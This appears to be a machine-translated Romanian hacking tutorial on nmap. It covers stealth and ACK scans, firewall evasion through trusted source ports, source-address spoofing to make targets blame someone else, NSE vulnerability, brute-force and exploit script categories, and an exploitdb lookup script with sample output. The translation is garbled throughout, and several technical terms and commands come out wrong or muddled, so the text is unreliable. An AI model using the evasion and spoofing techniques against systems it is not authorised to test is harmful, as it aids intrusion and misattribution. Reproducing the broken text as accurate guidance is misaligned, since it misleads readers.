* Aceste explorări va impresiona prietenii dacă nu-le dreapta. 🙂
Dezavantaje:
* uneori să obțineți rezultate eronate, sä spunä.
* încă trimite pachete pentru victima care au dumneavoastră IP pe ele.
Descriere -sI:
Aceasta este o noua scanare care tocmai a fost recent încorporate în nmap. Putini oameni
Pare să știe cum funcționează, dar Fyodor a promis noi documentatie pe acest scan de curând.
Dacă funcționează conform publicității, acest scan are o incredibila suma de potențial. Am jucat cu
Ea un pic, dar nu am facut lucrul.
Avantaje:
* Nr. de pachete pentru victima de la dumneavoastră IP!
* prietenii va idol ai dacă nu-le dreapta. 🙂
Dezavantaje:
* Probabil are unele limitări de grave. Acest document va fi actualizat atunci când am înțeles
Mai mult din aceasta explorare.
Descriere – sA:
Acest mic doozy de o explorare este foarte subestimat, în opinia mea. Acesta are o cantitate foarte mare
Din rețeaua de depanare. Utilizează legitime Practic acesta funcționează ca acest: Doriți să aflați
Dacă un firewall este filtrarea anumite porturi (filtrare inseamna nu lăsând să vezi ce porturi
Sunt deschise în spatele firewall de nu se intorc mesaje ICMP spune nu poti fi atins).
Bun pentru mapare afară rulesets firewall. În plus dacă știți un port este deschis de un firewall,
Puteți deduce mambra sau nu ai de a face cu un firewall cu filtrul de pachete. Nu puteți găsi
Cu ce porturi sunt deschise pe calculatoarele interne, dar puteți determina care gazde pentru explorare
Atunci când obțineți ca scurt, 2 minut posibilitatea de pe rețeaua internă după alunecă prin
Un geam drept înainte de ora închiderii. 😉 Serios,, în mâinile de cineva care
Înțelege principiile de firewall, această explorarea poate fi incredibil de valoroase.
Notă: Atunci când sunteți la citirea nmap pagina de manual, veți vedea că nu mentioneaza si ACK de pachete
Au numere de secvență aleatorie și astfel. Se pare everybodies ID-urile preferate (intrustion
Sistemul de detectare a), cineva pufnind, a fost folosind un truc de monitorizare inteligente pentru a vedea dacă cineva a fost
Interpretare firewall de cartografiere. Consultați, versiunile anterioare de nmap a avut o valoare fixă, astfel încât
Era banal sa circul, și găsi orice garantate de activitate suspecte. Ca niste
Munca de detectivi frumos oameni care fac. Congrats treceți la Fyodor prea, care îl fixă,
Ne permit scannere pentru ACK scanare fără griji. 🙂
Avantaje:
* astea probabil nu este înregistrat.
* foarte util pentru gospodar scanner.
Dezavantaje:
* nu e un port de scanare.
Descriere -sW:
Aceasta este o explorare a răcitorului decât -chiar sA. Nu numai că utilizați ACK pachete în loc de pachete SYN
Pentru a vă găsi regulile de filtrare obiective, ci și va raporta porturi deschise pe țintă!
Acest lucru are loc prin intermediul un fel de dimensiune fereastră TCP/IP anomalii. Unfortunatley, doar
Lucrează pentru unele OSs… (functioneaza pentru multi cei populare, desi, inclusiv VMS, SunOS 4.X, Și BSD)
Avantaje:
* Tot ce detine din -sA
Dezavantaje:
* nu funcționează pe toate sistemele de operare
Descriere -sU:
Aceasta este o scanare UDP. UDP, sau uniforme Datagram Protocol, este un simplu protocol. Aveți
Trimite un pachet, dacă acesta ajunge acolo, bun. Orice aplicații legat la portul UDP pe
Destinația recepționează date. Dacă este închis, le trimite inapoi un mesaj ICMP. Care este în principiu
Acesta. -sU doar trimite pachete UDP la toate porturile din fișierul de servicii.
UDP este că e utilizat frecvent, dar de cele mai multe ori este o idee bună pentru a face rapid o scanare UDP
O gazda doar pentru a vedea ce s-a întâmplat. De exemplu ar putea fi pornit NFS sau ceva.
%90 din timp, sint pur si simplu nu UDP porturi, astfel încât această caracteristică nu obține un lot de
Utilizați.
Avantaje:
* destul de rapid, am remarcat.
* Este bun pentru a avea o caracteristică de scanare UDP.
Dezavantaje:
* Nu este la fel de util ca și alte explorări de obicei.
Descriere -sR:
A fost odată un bug în versiune beta de nmap ca ucis -sR sprijin temporar… Acesta
Neobservata de ceva timp înainte de Fyodor însuși a prins de bug. El a fost oarecum
Suprat, deoarece nimeni nu a testat -sR pe Beta… Îmi pare rău Fyodor, dar niciodată nu am o dată
Utilizat – sR. Are de a face cu scanare pentru SunRPC porturi și versiunile lor de diagnosticare de pauza.
(Consultați pagina de manual pentru info). Personal, cred ca apartine de scanare în nivelul unei aplicații
Scanner, nu în nmap, dar aceasta este desigur un subiect de dezbatere continuă.
Descriere – astfel încât:
Aceasta este o interesanta explorare. Nu scanați pentru porturi la toate. Acesta scanează pentru a deschide
Protocoalele internet ca tinta este acceptarea… Am doar o din care a folosit
Curiozitate sau pentru a impresiona clienti. 🙂
Descriere -sL și -sP:
Acesta ar fi un moment bun pentru a aduce o caracteristică excelentă de nmap. Acesta poate scana mai mult de
O gazdă de la o singură intrare de linie de comandă! Da, asa e, ai putea scana întreaga subrețea
Cu această comandă:
Nmap -sS 192.168.0.0/24
Sau
Nmap -sS 192.168.0.0-255
Puteți face tot felul de combinații de nebun, ca:
Nmap -sS 1,3,9-11.3-9.-1,5-
Ar scana un lot de gazde… Chiar imi place cum Fyodor n acest… Este atât de…!
Oricum, -sL scan este util când aveți o gamă de IP extrem de complicat pentru a scana, și
Doriți doar să vă asigurați că este nmap interpretați comanda dvs cum doriți. Cel puțin,
E singurul utilizați *I* pot gandi pentru el … Consultați, -sL NU scanați nimic… Nu
Trimite orice pachete de pe rețea…
-sP este complet diferite. Acesta ping gazde pentru a vedea dacă sunt sau nu o. Acesta este un foarte de
Scanare utile. Spun ca as vrea sa vad care gazde sunt până pe subrețea meu, as face-o:
Nmap -sP 192.168.0.1/24
Nmap, implicit utilizează ambele pachete ICMP si ACK pentru a identifica mambra gazda este sau nu, desi
Puteți modifica acest comportament cu -P comutator, care vor fi discutate imediat.
-P<introduceți modul aici>
Nmap de obicei vrea să confirmați la distanþã este înainte de scanarea, astfel încât trimite "ping"
Pe țintă și așteaptă răspunsurile sale. Adesea, veți dori metode diferite de ping
Gazde, sau nu doriți să ping la toate. Aceasta este în cazul în care comutatorul de -P vine de la:
Consultați pagina de manual pentru diferite moduri disponibile. Una dintre cele mai utile este -P0. Aceasta este
Pentru când știi gazdă este în sus, dar ele sunt scăparea ping.
-F
Implicit, nmap va scana toate porturile < 1024, plus porturile enumerate în serviciile speciale ale nmap
Fișier: /usr/local/share/nmap/nmap-servicii normal. -F scan nu va scana porturile enumerate
În fișierul de servicii. De fapt, "rapid" nu este de scanare signifigantly mai repede decât normal
Scanare. Economisiți de scanare 435 porturi; poate ca câteva secunde. Am aproape niciodată nu utilizați acest comutator. Dacă
Chiar vă doriți o scanare rapidă, cred despre porturile de care sunteți interesat și utilizați -p
Comutatorul (Păstrați lectură) pentru a restrânge de scanare. Dacă totuși doriți să scanați toate porturile 65535
O gazda, ar trebui să utilizați această explorare:
Nmap -p 1- target.com
Care ne duce la comutatorul noastră următoare…
-p <gama de port>
Aceasta este una dintre cele mai folosite comutatoarele. Aceasta specifică ce porturi tu de fapt
Doriți să scanați. Acesta utilizează sintaxa similare ca specificând mai multe host de scanare, este
La fel de flexibile.
Câteva exemple:
Nmap -p 2-500 target.com
Nmap -p 2,4,8,29,500-9000 target.com
Nmap -p -300,60000- target.com
Nmap -sS -P0 -p 2-500 target.com
-O
Identificarea sistemului de operare de la distanță este una dintre caracteristicile lui nmap cel mai fain. Comunitatea hackerilor
Care dezvoltă nmap trimite întotdeauna în noul sistem de operare "amprente" de noi sau sistemele de operare obscure,
Astfel încât nmap are o incredibilă capacitatea de a identifica remotley aproape orice computer conectat la internet.
Notă: trebuie să fie root pentru a utiliza această caracteristică.
Notă: De obicei, nmap trebuie să știți despre deschis 1 și 1 port închis, desi exista exceptii.
-I
Această opțiune este proiectat pentru a afla cine "detine" procesul ca asculta pe deschis
Porturi ați găsit. Multe instalații unix implicit de fapt vin cu o ident daemon
Pornit (portul 113), astfel încât această opțiune poate fi foarte folositoare. Păstrați în minte, desi, este trivial
Pentru a scrie un număr care răspunde cu orice daemon utilizator pentru orice proces. Niciodată complet se bazează pe explorare.
-g <port>
Acest comutator este una interesantă și este rareori o merita. Dacă ținta
Răspunde doar la pachetele de la un anumit port de sursă, acest comutator poate ajuta prin scanare dvs.,
Sau dacă un firewall este de a face ceva de nebun, ca numai lăsând în port 53 ca sursă port.
Aceasta este comuna pe multe firewalluri slab configurat ascunde un server DNS, mi s-a spus. (ideal
Ar uita la IP prea, nu doar portul sursă). Ca orice opțiune de rece, acest comutator
Necesită privilegii root.
-T <Paranoic|mascate|politicos||agresiv|nebunie>
Acest comutator controlează viteza cu care doriți să portscan. Uneori, întindere portul dvs.
Scanați pachete va obtine de catre un sistem de pe țintă de ID-uri. Alte ori, poate doar doriți
Pentru a conserva (sau satura) lățimea de bandă a rețelei. Consultați pagina de manual pentru detalii.
-v și -d
Verbose și depanare. Este adesea o idee bună să utilizați -v comutator, cum veți putea adesea
Pentru a determina mai multe informații despre orice lucru care nu mergea bine. Puteți folosi cât de multe -v comutatoare
Doriți în comandă, și fiecare face mai de ieșire cumulativ și mai multe verbose.
Aceasta oprește fiind eficient după aproximativ 3 -v comutatoarele. -d este modul de depanare, și probabil,
Nu este necesar pentru scanări de zi cu zi, dar ajută frământările sumelor in procesul de depanare.
-iR
Preia adrese IP aleatoare pentru explorare. nmap indurase recent un masiv pentru a asigura ca revizie generală
Aceste scanări aleatorii nu scanați private (non-rutabil) retele, guvernul sau calculatoare care
Probabil ca nu vei lua la amabilitate portscan dvs. Acest comutator este limitat în utilitatea, dar
Poate de valoroase pentru analiza statistică sau sa se vada cum a dus destinate filtrarea de pachete
Filtrul de firewall va o matrice de aleatoriu de IPS.
-M <fetali>
Această opțiune utilă vă permite să specificați cât de multe alveole doriți pentru a limita nmap de utilizare
Pentru scanare. Consultați, nmap va scana porturi multiple odată, și pentru un mod normal – scanarea sT, trebuie sa
Treceți prin mufele de interfață la utilizare BSD rețelei. Inutil să spun, orice alt tip de scanare
(cu excepția eventual -sU) nu este afectată de acest comutator ca nu utilizați interfața mufele de la
Toate: Doar injecteaza direct pe pachetele de rețea, ocolind sistemul de operare complet.
De aceea este necesară o rădăcină. Acest comutator este utilă în special pe mașini BSD I-am observat.
Unii (mai ales pe hardware mai vechi) par să provoace un blocaj și un pic de decalaj în timp ce zidariei
-explorările sT, deși nu am mai văzut niciodată un accident înainte de a. Ascultați pagina, desi: Utilizare
-sS peste -sT ori de câte ori este posibil.
-o<metoda de jurnalizare>
În general, nmap va rezultatelor sale de ieșire în formă recunoscută umane spre consolă. De obicei, când vreau
Pentru a salva jurnale meu, voi face acest lucru:
Nmap -sS target.com | tee /home/doug/scanări/target.com-sS
Aceasta funcționează bine doar pentru mine, dar oamenii par a ca folosind acest comutator pentru a salva de ieșire
În altă parte. Consultați pagina de manual pentru detalii. O caracteristică utilă ca nu am experimentat
De mult cu este – Comutatorul Reluare pentru a vă relua un anulată nmap scan. Din nou,
Consultați pagina de manual.
Scanare practice
––––––––––
Multe scannere de novice nu recunosc importanta catalogare scanărilor dvs. Dacă pur și simplu
Portul de ieșire standard a scanării și citiți rezultatele, veți uita adesea rezultatele dvs.
Și forțat să repreform scanarea, care nu este de disimulare cel mai putin. Creați un director
Pentru păstrarea explorări și numele ei appropriatley, cu toate comutatoarele în fișier
Pentru a evita orice confuzie.
Întotdeauna cu atenție considera ce informații vă sunt efectiv după înainte de a începe scanarea.
Nimic nu vă va da mai repede decât un mănunchi de orbi, zapacita explorări. Aceasta este ceea ce
Cele mai multe sunt concepute pentru a detecta IDSs, la urma urmelor. De exemplu, dacă doriți să găsiți funcționează
Sistem de un webserver nu rulează SSL, utilizați această explorare:
Nmap -sS -P0 -O -p 80,443 www.target.com
Logica din spatele acestei explorări este lăsat ca un exercițiu pentru cititor.
Păstrați întotdeauna în minte că nimic nu poate și este adesea, înregistrat.
Adevarata cale de a deveni expert portscanner este practica și practica mai practica.
Veți vedea o mulțime de lucruri dacă scanați suficiente calculatoare și adesea este interesant
Si educative pentru a descoperi cauzele acestor anomalii. Scanați propriile mașini,
Scanați prietenii de mașini, și veți afla multe despre scanarea și în rețea
General.
Scanarea cu scripturi noi
–––––––––––––––––
Numeroși hackeri acum nu au timp pentru a căuta în google pentru dreptul de exploit care exploateaza service
El vrea.Acum cu ajutorul de la L1pe la
Este foarte informativ și pot da rezultate pozitive false, dar imi place asta, și nu exista altă modalitate bună am putea să nu săriți peste un posibil exploit.
În prezent este setat pentru a utiliza arhiva pe BT, dacă doriți să îl utilizați pe altceva doar descărcați arhiva și modificați locația fișierului"
Acest dispozitiv poate fi utilizat numai în bactrack dar cu unele remedieri în directoarele vă veți găsi folosind acest instrument la toate sistemele Linux.
Un script este:
Descriere = [[Caută exploit-uri în exploitdb pe se retragă. Această arhivă pot fi de asemenea găsite la Http://www.exploitdb.com]]
Autorul = "L10N"
Licență = "Același ca Nmap – Consultați Http://nmap.org/book/man-legal.html"
Categorii = {"sigure", "vuln"}
Pentru a utiliza acest instrument în sistemele Linux ar trebui să schimbați calea io.liniile care pentru programul este linia 647 aici in ghid.
Setați dacă fișierele.csv unde este și să scanați țintă cu sintaxa:
Nmap -sV –script=exploitdb.nse scanme.nmap.org
Pornire Nmap 5.21 ( ) de la http://nmap.org 2010-12-19 04:25 PST
NSE: Script. scanarea este finalizată
Raportul de scanare pentru scanme.nmap.org nmap (64.13.134.52)
La distanþã este (0.071s latență scăzută).
Nu este indicat: 995 de porturi de filtrat
Versiune de service de statul de port
22/tcp deschise ssh OpenSSH 4.3 (protocol 2.0)
| exploitdb:
Platforme |/linux/la distanță/25.c –> "OpenSSH/PAM <= 3.6.1p1 utilizatorii de la distanță dispozitivul de descoperire"
Platforme |/linux/la distanță/26.sh –> "OpenSSH/PAM <= 3.6.1p1 utilizatorii de la distanță (gossh Ident.sh)"
Platforme |/mai multe/la distanță/3303.sh –> "Portabil OpenSSH <= 3.6.1P-PAM / 4.1-SUSE Atac de distribuție exploatează"
Platforme |/mai multe/la distanță/3303.sh –> "Portabil OpenSSH <= 3.6.1P-PAM / 4.1-SUSE Atac de distribuție exploatează"
|_platforme/linux/la distanță/6094.txt –> Debian OpenSSH privilegiul de exploatare de elevație de la distanță SELinux (aut)"
25/tcp închis smtp
53/tcp domeniul deschis
80/tcp deschise http Apache httpd 2.2.3 ((CentOS))
113/tcp închis aut
Detectarea de service efectuată. Vă rugăm să raportați orice rezultate incorecte la http://nmap.org/submit/ .
Nmap adoptată: 1 adresa de IP (1 host) scanate în 37.84 secunde
Gazdele de scanare cu perl script facute de cypherround în Acest perl script automatize lucrările simple.
Aici puteți să adăugați țintă și port și să obțineți ceea ce doriți.
Aici este script:
#! /usr/bin/perl
Print – iată opțiunile de scanare nmap dvs (introduceți abrevierea în paranteză):\n\n agresivă a(a)\n utilizare neadecvată cu ieșire(ao)\n agresivă a 65535 de porturi (aa)\n porturi cu ieșire agresive 65535(aao)\n agresiv cu port specifice (AP)\n agresivă și ieșire (port apo)\n os(SO) scanare amprentă\n os de ieșire de scanare cu amprentă(oso)\n os serviciul de amprente scan (OSS)\n os serviciul de amprente scanați cu ieșire(osso)\n os explorării cu amprentă port specifice(osp)\n os explorării cu amprentă și portul de ieșire specifice(ospo)\n os serviciul de amprente cu scanare port specifice(osps)\n os explorării cu amprentă și portul de ieșire specifice(ospso)\n random IPs(r)\n random IPs cu ieșire(ro)\n random IPs toate porturile 65535(ra)\n random IPs toate porturile de ieșire cu(65535 rao)\n random IPs cu port specifice (RP)\n random IPs cu port și ieșire specifice(rpo)\n stealth(s)\n stealth cu ieșire(astfel încât)\n stealth scan Din toate porturile 65535(SA)\n stealth scan cu toate porturile de ieșire cu(65535 sao)\n stealth scan cu port specifice (SP)\n stealth scan și portul de ieșire cu specfifi(spo)\n serviciul stealth scan(sss)\n serviciul stealth scan cu ieșire(ssso)\n serviciul stealth scanare a toate porturile de 65535(sssao)\n serviciul stealth scanare a toate porturile de ieșire de 65535(sssao cu)\n serviciul stealth scan cu port specifice(sistemul SSPP)\n serviciul stealth scan cu port și ieșire specifice(ssspo)\n udp(u)\n udp cu ieșire(uo)\n udp de toate porturile 65535(ua)\n udp de toate porturile de ieșire de 65535(uao cu)\n udp cu port(sus) caute\n udp cu portul de ieșire specifice și(upo)\n(TCP/UDP ut)\n udp/tcp cu ieșire(uto)\n udp/tcp de toate porturile 65535(uta)\n udp/tcp dacă toate porturile de ieșire de 65535(utao cu)\n udp/tcp cu port specifice(UTP)\n udp/tcp cu portul de ieșire specifice și(utpo)\n";
$scan=<STDIN>;
Chomp ($scan);
Fișa de definit
––––––
Doar fondată de un complet de referință la nmap în versiune PDF.Această foaie de ieftin aproape a celor mai folosite comenzi prin pentesters
Și sysadmins, pentru a securiza zona , există o mulțime de comandă pentru a obține în lumea nmap scanner.
Asa as sugera pentru a afla foarte bine acest instrument becauze partea de scanare este partea unde trebuie să găsiți vuln
De o țintă pentru a exploata.
Fițuica de este în acest URL:
Https://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20NMap%20Quick%20Reference%20Guide.pdf
Nmap în mâinile dvs.
––––––––––
Totul pe linia de comanda a Nmap nu este o opțiune (sau opțiune argument) este tratată ca o țintă
Specificația de gazdă. Cel mai simplu caz este de a specifica o adresa IP sau numele de gazdă țintă pentru scanare.
Uneori doriți să scanați o intreaga retea de gazde adiacente. Pentru aceasta, Nmap acceptă CIDR-style
Abordarea. Puteți să anexați /numbits la o adresa IP sau numele de gazdă și Nmap va scana fiecare IP
Adresa pentru care prima numbits sunt aceleași ca pentru trimitere IP sau hostname dat. Pentru
Exemplu 192.168.10.0/24 va scana 256 de gazde între 192.168.10.0 (binar: 11000000
10101000 00001010 00000000) și 192.168.10.255 (binar: 11000000 10101000 00001010
11111111), inclusiv. 192.168.10.40/24 ar face exact acelasi lucru. Dat fiind că la gazdă
Scanme.nmap.org este la adresa IP 205.217.153.62, specificatia scanme.nmap.org/16 ar
Scanați 65.536 adrese IP 205.217.0.0 205.217 între și.255.255. Cea mai mică valoare permisă
Este /1, care scanează jumătate din Internet. Cea mai mare valoare este de 32, care scanează doar pe nume gazdă sau IP
Adresa deoarece toate adresa biti sunt fixate.
Notația CIDR este scurt dar nu întotdeauna suficient de flexibilă. De exemplu, poate doriți să scanați
192.168.0.0/16 dar săriți peste orice IPs se termină cu .0 sau .255 deoarece acestea sunt de obicei broadcast
Adresele. Nmap acceptă această prin octet adresarea de gamă. Mai degrabă decât specifica o adresa IP normală
Puteți specifica o virgulă separate listă de numere sau intervalele pentru fiecare octet. De exemplu,
192.168.0-255.1-254 va sări peste toate adresele din gamă ca scop la .0 și sau .255. Gamele nu
Trebuie limitate la finala octects: specifier 0-255.0-255.13.37 va efectua o scanare largă de Internet pentru toate
Adresele IP în final în 13.37. Acest fel de esantionare larg poate fi utilă pentru Internet și anchete
Cercetare.
Adresele IPv6 pot fi specificate numai prin calificate IPv6 Adresa sau numele de gazdă. CIDR și
Octet gamele nu sunt acceptate pentru IPv6 deoarece sunt rareori utile.
Nmap acceptă mai multe specificații gazdă pe linia de comanda, și nu au nevoie să fie același
Tip. Comanda scanme.nmap.org nmap 192.168.0.0/8 10.0.0,1,3-7.0-255 nu ceea ce tu
Așteptați.
Ținte false sunt folosite atât în inițial de ping scanare (folosind ICMP, SYN, ACK sau de ce) și în timpul
Faza de scanare port reală. Ținte false sunt de asemenea utilizate de detectare a sistemului de operare de la distanță în timpul (-O).
Ținte false nu funcționează cu versiunea de detectare sau TCP conectați() Scan.
De notat că folosind prea multe ținte false pot încetini scan și potențial chiar face
Mai puțin precisă. De asemenea, unele ISP-uri va filtra pachetele falsificata dvs, dar multe nu limitează
Falsificata pachetele IP la toate.
-S <IP_Address> (adresa sursa Spoof)
În anumite circumstanțe, Nmap nu poate fi capabil de a vă determina adresa sursă ( Nmap va
Spune dacă este cazul). În această situație, utilizarea -S cu adresa IP a interfeței doriți
Pentru a trimite pachete prin.
O alta posibila utilizare a acestui indicator este de a face de explorare spoof țintelor cred că cineva
Altcineva este de a le de scanare. Imagina o societate fiind portul în mod repetat de către concurenți scanate!
Opțiunea -e ar fi în general necesar pentru acest fel de utilizare și de -P0 ar fi în mod normal
Recomandabil precum.
-e <(Utilizați specificate interfață> interfață)
Nmap spune ce interfață pentru a trimite și a primi pachete pe. Nmap trebuie să fie capabil să detecteze acest
Automat, dar va spune dacă ea nu poate.
– sursa de_Port <portnumber>; -g <portnumber> (număr de port sursa Spoof)
Una este sa greșelile comune surprinzător de încredere în traficul bazat doar pe portul sursă
Număr. Este ușor de înțeles cum acest lucru vine despre. Administratorul va configura un păr strălucitor
Noul firewall, doar pentru a fi inundate cu se plânge de la utilizatorii de nerecunoscatoare ale căror cereri
Oprit de lucru. În special, DNS pot fi rupte deoarece UDP DNS
Servere externe nu mai poate intra în rețea. FTP este un alt exemplu comun. În activ
Transferuri FTP, serverul la distanță încearcă să stabilească o conexiune inapoi clientului de a transfera
Fișierul solicitat.
Fixați soluții la aceste probleme exista, adesea în formularul de aplicare la nivel de substitutie sau
Protocol – analizarea module de firewall. Din pacate nu sunt de asemenea mai ușor, soluții de nesiguranta.
Observand ca DNS provin din port 53 și ftp active de la portul 20, multi administratori au
Căzut în capcana de pur și simplu permițând traficul de intrare de la aceste porturi. Adesea ele presupun că
Atacatorul nu va observa si exploata aceste găuri de firewall. În alte cazuri, administratori considera aceasta o
Pe termen scurt stop-gap măsurați până pot implementa o soluție mai sigură. Apoi au
Uitați de upgrade de securitate.
Surmenat administratorilor de rețea nu sunt singurii care cad in aceasta capcana. Numeroase
Produsele au livrat împreună cu aceste reguli de nesiguranta. Chiar Microsoft a fost vinovat. La IPsec
Filtre livrate împreună cu Windows 2000 si Windows XP conține o regula implicita care permite toate
Traficul TCP sau UDP de la portul 88 (Kerberos). In alt bine cunoscut cazul versiuni ale zonei
Alarm firewall personal până la 2.1.25 permise orice incoming pachete UDP cu portul sursă
53 (DNS) sau 67 (DHCP).
Motorul de scanare de script
––––––––––––
Unele cuvinte din nmap site Web
Nmap de scripting motor (NSE) este una dintre cele mai puternice Nmap și caracteristici flexibile. Aceasta permite utilizatorilor să scrie (și partajați) simpla a automatiza scripturi de o mare varietate de activități de rețea. Aceste scripturi sunt apoi executate în paralel cu o viteză și o eficiență vă așteptați de la Nmap. Utilizatorii pot conta pe creștere și diversitate de script-uri distribuite cu Nmap, sau scrie propria lor pentru a satisface nevoile personalizate.
Am conceput pentru a fi versatil NSE, cu următoarele sarcini în minte:
Descoperire a rețelei
Aceasta este Nmap piine cu unt lui. Exemplele includ uita de whois de date pe baza domeniul țintă, interogarea ARIN, coapte, sau APNIC pentru a determina IP țintă de proprietate, efectuarea identd căutările pe porturi deschise, SNMP interogări, si listarea disponibile NFS/SMB/RPC și servicii. actiuni
Mai sofisticate de detectare de versiune
Sistemul de detectare a Nmap versiune (Capitolul 7, Service și versiunea aplicației detectarea) este în măsură să recunoască mii de diferite servicii prin sonda și expresii regulate sistemul de corelare bazate pe semnatura, dar nu poate recunoaște totul. De exemplu, identificarea Skype v2 service necesită două sonde de independent, care versiune detectare este nu este suficient de flexibilă pentru a mânerului.
Nmap ar putea de asemenea să recunoască mai multe servicii SNMP daca ar incerca si cateva sute de nume diferite ale comunitatii prin forță brută.
Nici una din aceste sarcini sunt potrivite pentru versiunea de Nmap tradiționale, dar ambele de detectare sunt ușor de realizat cu NSE. Din aceste motive, Versiune acum de detectare NSE apeluri implicit la unele servicii dificile. mâner Aceasta este descrisă în secțiunea numită "detectare cu ajutorul NSE Versiune".
Detectare de vulnerabilitate
Când este descoperit un nou vulnerabilitate, adesea vă doriți să scanați rapid de rețele pentru a identifica sistemele vulnerabile înainte de rai. În timp ce Nmap nu este un scaner de vulnerabilitate cuprinzătoare, NSE este suficient de puternic pentru a controalelor de vulnerabilitate solicitante chiar. Multe scripturi de detectare de vulnerabilitate sunt deja disponibile și am de gând să distribuie mai mult ca ele sunt scrise.
Detectarea Backdoor
Multi derbedei și unele automate de viermi lăsați sau backdoors pentru a permite mai târziu stati asa.. Unele dintre acestea pot fi detectate de expresie periodic al Nmap bazată detectarea versiune. De exemplu, în termen de ore de MyDoom worm de lovirea Internet, Jay Moran postat o versiune de Nmap sonda de detectare și semnătura astfel ca altii ar putea scana rapid rețelele lor pentru MyDoom de infecții. NSE este necesară pentru a detecta în mod fiabil mai complex de viermi sau backdoors.
Vulnerabilitate de exploatare
In general limbaj de scripting, nse poate fi utilizat chiar și de a exploata vulnerabilități mai mult decât doar le găsi. Capacitatea de a adăuga custom exploit scripts pot fi valoroase pentru unele persoane (în special testere de penetrare), desi nu sunt de planificare pentru a porni Nmap într-un cadru de exploatare precum Metasploit.
Aceste articole au fost prezentate obiectivele inițiale noastre si ne asteptam ca utilizatorii Nmap sa vina cu chiar mai inventivi utilizează pentru NSE.
Scripturile sunt scrise în limbajul de programare lua încorporate, versiunea 5.2. Limba în sine este bine documentat în cărți programare în limbaj, ediția a doua și Lua 5.1 Manual de referință. Manualul de referință, actualizate pentru lua 5.2, este de asemenea disponibil gratuit online, cum este prima ediție de programare în limbaj. Dată fiind disponibilitatea acestor general excelent Limbaj de programare referințelor, acest document acoperă doar aspecte și extensiile specifice pentru scriptarea lui Nmap motor.
NSE este activată cu opțiunea -sC (sau –script dacă doriți să specificați un set personalizat de script-uri) și rezultatele sunt integrate în Nmap normală și XML.
Un script de tipic de scanare este prezentat în exemplu 9.1. Scripturi de service producătoare de ieșire în acest exemplu sunt ssh-hostkey, care oferă sistemului și tastele RSA SSH, DSA rpcinfo, care enumerarea portmapper interogări de servicii disponibile. Singurul script gazdă producătoare de ieșire în acest exemplu este smb-os-discovery, care colectează o varietate de informații de la servere de tip IMM. Nmap descoperit toate aceste informații în a treia de o a doua.
NSE scripturile sunt foarte puternic și a devenit una din principalele forte, Nmap efectuarea
Sarcinile de la versiunea avansată de detectare a feței pentru a exploatarii de vulnerabilitate.
Fiecare script NSE aparține unei categorii pe baza a ce are. Categorii de curent sunt următoarele:
Categorie:
– aut: script-uri care funcționează cu acreditările de autentificare
– televiziune: script-uri care descoperiți activ de gazde prin transmisia pe o rețea locală și de a le adăuga la lista de o țintă
– bruta aceea: scripturi ca forță brută de acreditare de service de la distanță
– implicit: script-uri care sunt automat activați cu -sC sau -O opțiuni
– Descoperirea: script-uri care încercați să dobândească mai multe informații despre rețeaua țintă
– dos: script-uri care pot crash de aplicare țintă și poate provoca o denial of service și țintă
– exploit: script-uri care pot fi capabil de a exploata de aplicare țintă
– Extern: script-uri care trimite date de la un server de terțe părți în rețea (whois)
– fuzzer: script-uri care trimite datele la întâmplare invalid țintă pentru a găsi nedescoperit bugs
– inoportuni: script-uri care pot provoca eșuarea țintă
– malware: script-uri care testați dacă ținta este infectat de malware sau sau backdoors
– Refugiu: script-uri care poate funcționa în condiții de siguranță, astfel încât acestea nu vor crash un server
– versiune: script-uri care pot determina versiunea de aplicația rulează pe o țintă (acestea sunt activați numai când opțiunea este specificată -sV)
– vuln: script-uri care pot verifica dacă ținta este vulnerabil la atacurile specifice
Pentru a include titlul documentului de index de un server web în rezultatele scanării, deschide dvs.
Terminal și tipul următoarea comandă:
$ nmap -sV –script http-titlul
$ nmap –script http-headers,http-titlul
Efectuați toate scripturile în vuln categorie:
$ nmap -sV –script vuln <target>
Executați script în categorii versiune sau descoperirea:
$ nmap -sV –script="versiune,descoperire" <target>
Efectuați toate script cu exceptia celor din categoria exploit:
$ nmap -sV –script – nu exploateze" <target>
Diagnosticare Geolocația unui IP
Nmap –script ip-geolocația-* <target>
Whois
Nmap –script WHOIS <target>
Inregistrarile DNS conține o mulțime de informații despre un anumit domeniu care nu poate fi ignorat.
Desigur există instrumente specifice pentru bruta aceea de a forța inregistrarile DNS care poate produce rezultate mai bune dar dns-mputita script puteți efectua de asemenea
Această lucrare în caz că vrem să extrageți informații DNS în timpul explorărilor Nmap noastre.
Nmap -P80 –script dns-mputita <target>
Reversia IP
Nmap –script http-înapoi-ip <target>
De a executa scripturi de descoperire
Această categorie de script este ideală atunci când avem nevoie de cât mai multe informații posibil pentru un anumit target.
Următoarele două imagini sunt un eșantion de ce fel de informații ar putea fi livrate de noi atunci când ne scripturi de descoperire.
Nmap –script=discovery <target> //descoperire este o categorie
Mergi categorie;
Am făcut aceste linii pentru a spune că putem pune la fiecare categorie în diagnosticare bugs sau vuln la o gazdă de țintă.
Ultima:nmap -script-updatedb
Exploituri
III.1. Ce este un exploit
În IT un exploit este un atac de pe un calculator, în special unul care profită de o vulnerabilitate ca sistemul special oferă către intruși. Folosit ca un verb, termenul se referă la actul de efectuare cu succes un atac.
Mulți biscuiți (sau hackerilor, dacă preferați ca termenul) mândrim lamelele de pastrare a acestor exploit-uri și post exploit (și a descoperit lor vulnerabilități) de pe un site Web pentru a împărtăși cu alții.
Daca un exploit profită de o slăbiciune în sistemul de operare sau programul de aplicație reprezentanțe, proprietarii de sistem sau de aplicare emite un "repara" sau patch în răspuns. utilizatorii sistemului sau de aplicare sunt responsabile pentru obținerea patch, care pot fi descărcate de pe Web. Eșecul de a instala un patch pentru o anumita problema expune utilizatorul la o breșă în sistemul de securitate. (Totusi, poate fi dificil să țineți pasul cu toate patch-uri).
Clasificare
Există mai multe metode de clasificare exploit-uri. Cele mai comune este de cum a exploata contacte vulnerabil software. O exploatare de la distanță funcționează în rețea și exploatează la vulnerabilitate de securitate fără orice înainte de acces la sistemul de vulnerabile. Un exploit local necesită înainte de acces la sistem și crește de obicei vulnerabile de privilegiile de persoana pornit exploatarea trecut cele acordate de către administratorul de sistem. Exploateaza împotriva aplicații client de asemenea exista, de obicei constand din modificate servere care trimite un exploit dacă este accesată cu o aplicație client. Exploateaza împotriva aplicații client poate de asemenea solicita unele interacțiunea cu utilizatorul și astfel pot fi utilizate în combinație cu metoda de inginerie sociala. O alta clasificare este de actiune impotriva vulnerabil; sistemul de acces neautorizat de date, cod arbitrare executare si denial of service sunt exemple. Multe vulnerabilitati sunt concepute pentru a oferi acces la nivelul de superutilizator un sistem de calculator. Este 